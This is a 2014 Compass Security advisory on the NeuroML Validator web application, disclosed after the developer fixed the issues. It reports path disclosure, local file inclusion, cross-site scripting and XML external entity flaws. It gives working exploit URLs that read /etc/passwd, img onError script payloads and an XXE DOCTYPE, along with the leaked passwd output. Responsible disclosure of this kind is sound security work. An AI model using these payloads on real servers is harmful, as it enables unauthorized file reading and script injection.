CSNC-2014-004 neuroML - Multiple Vulnerabilities

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# COMPASS SECURITY ADVISORY
# http://www.csnc.ch/en/downloads/advisories.html
#
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# Product:  neuroML
# Version:  <=v1.8.1 (Confirmed: v1.8.1)
# Vendor:   neuroML.org
# CSNC ID:  CSNC-2014-004
# CVD ID:   <none>
# Subject:  Multiple Vulnerabilities
# Risk:     High
# Effect:   Remotely exploitable
# Author:   Philipp Promeuschel <philipp.promeuschel@csnc.ch>
# Date:     10.10.2014
#
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Abstract:
-------------
The NeuroML project focuses on the development of an
XML (eXtensible Markup Language) based description language
that provides a common data format for defining and
exchanging descriptions of neuronal cell and network models.
The current approach in the project uses XML schemas to
define the model specifications.[0]


Affected:
---------
Vulnerable:
neuroML version 1.8.1

Not tested:
Other versions of neuroML


Technical Description:
----------------------
The NeuroML Validator, can be used to check the validity
of NeuroML files.

[Full Path Disclosure]:
        http://www.neuroml.org/NeuroMLValidator/Transform.jsp?localFile=NeuxroMLFiles/Schemata/v1.8.1/Level1/Metadata_v1.8.1.xsd&xslFile=x

        Example output:
        Unable to locate file /var/lib/tomcat7/webapps/NeuroMLValidator/x

[Local File Inclusion]:
        http://www.neuroml.org/NeuroMLValidator/ViewNeuroMLFile.jsp?localFile=../../../../../etc/passwd

        Example output:
        root:x:0:0:root:/root:/bin/bash
        daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
        bin:x:2:2:bin:/bin:/usr/sbin/nologin
        sys:x:3:3:sys:/dev:/usr/sbin/nologin
        sync:x:4:65534:sync:/bin:/bin/sync
        games:x:5:60:games:/usr/games:/usr/sbin/nologin
        man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
        lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
        mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
        news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
        uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
        proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

[Cross Site Scripting]:
        http://www.neuroml.org/NeuroMLValidator/Transform.jsp?localFile=&xslFile=x%3Cimg%20src=%27s%27%20onError=%27alert%281%29;%27%3E
        http://www.neuroml.org/NeuroMLValidator/Validation.jsp?pastedFile=XSS%3C/textarea%3Ex%3Cimg%20src=%27s%27%20onError=%27alert%281%29;%27%3E

[XML External Entities]:
        http://www.morphml.org:8080/NeuroMLValidator/Transform.jsp?pastedFile=%2B%253C%2521DOCTYPE%2Bfoo%2B%255B%2B%2B%250D%250A%2B%2B%2B%253C%2521ELEMENT%2Bfoo%2BANY%2B%253E%250D%250A%2B%2B%2B%253C%2521ENTITY%2Bxxe%2BSYSTEM%2B%2522file%253A%252F%252F%252Fetc%252Fpasswd%2522%2B%253E%255D%253E%253Cfoo%253E%2526xxe%253B%253C%252Ffoo%253E&xslFile=NeuroMLFiles%2FSchemata%2Fv1.8.1%2FLevel1%2FMorphML_v1.8.1_GENESIS.xsl
        Example output:
        root:x:0:0:root:/root:/bin/bash
        daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
        bin:x:2:2:bin:/bin:/usr/sbin/nologin
        sys:x:3:3:sys:/dev:/usr/sbin/nologin
        sync:x:4:65534:sync:/bin:/bin/sync
        games:x:5:60:games:/usr/games:/usr/sbin/nologin
        man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
        lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
        mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
        news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
        uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
        proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
        www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
        backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
        list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin

        Used XML:
         <!DOCTYPE foo [
           <!ELEMENT foo ANY >
           <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>


Timeline:
---------
2014-05-04: Discovered Flaws
2014-05-05: Contacted Developer
2014-05-05: Developer Response
2014-05-28: Developer fixed all issues
2014-10-10: Disclosure of the advisory

References:
-----------
[0] http://www.neuroml.org/introduction
[1] http://blog.csnc.ch/2012/08/secure-xml-parser-configuration/